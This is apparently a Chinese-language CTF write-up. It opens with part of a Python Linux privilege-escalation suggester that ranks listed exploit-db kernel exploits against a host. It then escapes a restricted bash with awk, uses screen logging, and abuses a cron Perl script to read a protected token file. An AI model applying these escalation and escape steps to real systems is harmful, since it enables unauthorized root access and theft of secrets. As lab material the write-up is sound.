		"<= 2.6.34-rc3 ReiserFS xattr Privilege Escalation":{"minver":"0", "maxver":"2.6.34", "exploitdb":"12130", "lang":"python", "keywords":{"loc":["mnt"], "val":"reiser"}},
		"Ubuntu PAM MOTD local root":{"minver":"7", "maxver":"10.04", "exploitdb":"14339", "lang":"sh", "keywords":{"loc":["os"], "val":"ubuntu"}},
		"< 2.6.36-rc1 CAN BCM Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.36", "exploitdb":"14814", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"Kernel ia32syscall Emulation Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"15023", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"Linux RDS Protocol Local Privilege Escalation":{"minver":"0", "maxver":"2.6.36", "exploitdb":"15285", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"<= 2.6.37 Local Privilege Escalation":{"minver":"0", "maxver":"2.6.37", "exploitdb":"15704", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"< 2.6.37-rc2 ACPI custom_method Privilege Escalation":{"minver":"0", "maxver":"2.6.37", "exploitdb":"15774", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"CAP_SYS_ADMIN to root Exploit":{"minver":"0", "maxver":"99", "exploitdb":"15916", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)":{"minver":"0", "maxver":"99", "exploitdb":"15944", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"< 2.6.36.2 Econet Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.36.2", "exploitdb":"17787", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"Sendpage Local Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"19933", "lang":"ruby", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"2.4.18/19 Privileged File Descriptor Resource Exhaustion Vulnerability":{"minver":"2.4.18", "maxver":"2.4.19", "exploitdb":"21598", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"2.2.x/2.4.x Privileged Process Hijacking Vulnerability (1)":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"22362", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"2.2.x/2.4.x Privileged Process Hijacking Vulnerability (2)":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"22363", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"Samba 2.2.8 Share Local Privilege Elevation Vulnerability":{"minver":"2.2.8", "maxver":"2.2.8", "exploitdb":"23674", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"samba"}},
		"open-time Capability file_ns_capable() - Privilege Escalation Vulnerability":{"minver":"0", "maxver":"99", "exploitdb":"25307", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
		"open-time Capability file_ns_capable() Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"25450", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}},
}

# variable declaration
os = sysInfo["OS"]["results"][0]
version = sysInfo["KERNEL"]["results"][0].split(" ")[2].split("-")[0]
langs = devTools["TOOLS"]["results"]
procs = getAppProc["PROCS"]["results"]
kernel = str(sysInfo["KERNEL"]["results"][0])
mount = driveInfo["MOUNT"]["results"]
#pkgs = getAppProc["PKGS"]["results"] # currently not using packages for sploit appicability but my in future


# lists to hold ranked, applicable sploits
# note: this is a best-effort, basic ranking designed to help in prioritizing priv escalation exploit checks
# all applicable exploits should be checked and this function could probably use some improvement
avgprob = []
highprob = []

for sploit in sploits:
    lang = 0 # use to rank applicability of sploits
    keyword = sploits[sploit]["keywords"]["val"]
    sploitout = sploit + " || " + "http://www.exploit-db.com/exploits/" + sploits[sploit]["exploitdb"] + " || " + "Language=" + sploits[sploit]["lang"]
    # first check for kernell applicability
    if (version >= sploits[sploit]["minver"]) and (version <= sploits[sploit]["maxver"]):
	# next check language applicability
	if (sploits[sploit]["lang"] == "c") and (("gcc" in str(langs)) or ("cc" in str(langs))):
	    lang = 1 # language found, increase applicability score 
	elif sploits[sploit]["lang"] == "sh": 
	    lang = 1 # language found, increase applicability score 
	elif (sploits[sploit]["lang"] in str(langs)):
	    lang = 1 # language found, increase applicability score
	if lang == 0:
	    sploitout = sploitout + "**" # added mark if language not detected on system 
	# next check keyword matches to determine if some sploits have a higher probability of success
	for loc in sploits[sploit]["keywords"]["loc"]:
	    if loc == "proc":
		for proc in procs:
		    if keyword in proc:
			highprob.append(sploitout) # if sploit is associated with a running process consider it a higher probability/applicability
			break
			break
	    elif loc == "os":
		if (keyword in os) or (keyword in kernel):
		    highprob.append(sploitout) # if sploit is specifically applicable to this OS consider it a higher probability/applicability
		    break  
	    elif loc == "mnt":
		if keyword in mount:
		    highprob.append(sploitout) # if sploit is specifically applicable to a mounted file system consider it a higher probability/applicability
		    break
	    else:
		avgprob.append(sploitout) # otherwise, consider average probability/applicability based only on kernel version

print "    Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested!"
print

print "    The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system" 
for exploit in highprob:
    print "    - " + exploit
print

print "    The following exploits are applicable to this kernel version and should be investigated as well"
for exploit in avgprob:
    print "    - " + exploit

print 	
print "Finished"
print bigline

查看到计划任务有敏感文件。

直接cat /etc/crontab查看计划任务:

首先知道有tester这个用户,并进入查看check.pl脚本:

#!/usr/bin/perl -w

if (!-l $ARGV[0] && -f $ARGV[0]) {

	open $file1, $ARGV[0];
	$fname = <$file1>;
	chomp($fname);

	open ($file2, $fname) or die("$!");
	open $file3, '>>', "/tmp/testlog";
	$line = <$file2>;

	chomp ($line);
	print $file3 $line, "\n";
	
	close $file2;
	close $file3;
	close $file1;
	unlink($ARGV[0]);

	sleep(1);
	open $file1, '>', "/tmp/testlog";
	close $file1;

}
else {
	exit(0);
}

该perl脚本从/build/log读取文件,将文件内容作为变量读取,使用print命令写入到/tmp/testlog,然后从/build/log文件目录删除文件(即取消文件链接)。所以将需查看文件的文件名写入到/build/log日志文件中,就可以在tmp/testlog读取所需查看的文件的文件内容

查看该目录下的token,权限受限:

任务计划的脚本着手方向暂时无果,就查看/build/log文件夹中的文件,没有日志文件,且当前目录的gid为utmp

在build目录查看时,发现screen的gid也是为utmp,且是可执行的二进制文件:

运行screen二进制文件,并查看帮助:

直接利用screen进行日志指定输出到/build/log/file.log

../screen/screen -L /build/log/file.log

直接回车之后又成了受限的bash。再次使用awk调用shell:

awk 'BEGIN {system("/bin/bash")}'

运行ls -la查看file.log文件是否生成。生成成功之后,使用chmod 777 file.log将其权限更改。

使用echo语句将需要读取的文件写入到file.log

echo "/home/tester/token" > file.log

由于有检测log脚本的计划任务,直接使用bash命令进行循环读取,直到读出token为止:

while true; do cat /tmp/testlog; done

获得flag是Session_wow


Similar Posts

上一篇 代理

下一篇 域环境

Comments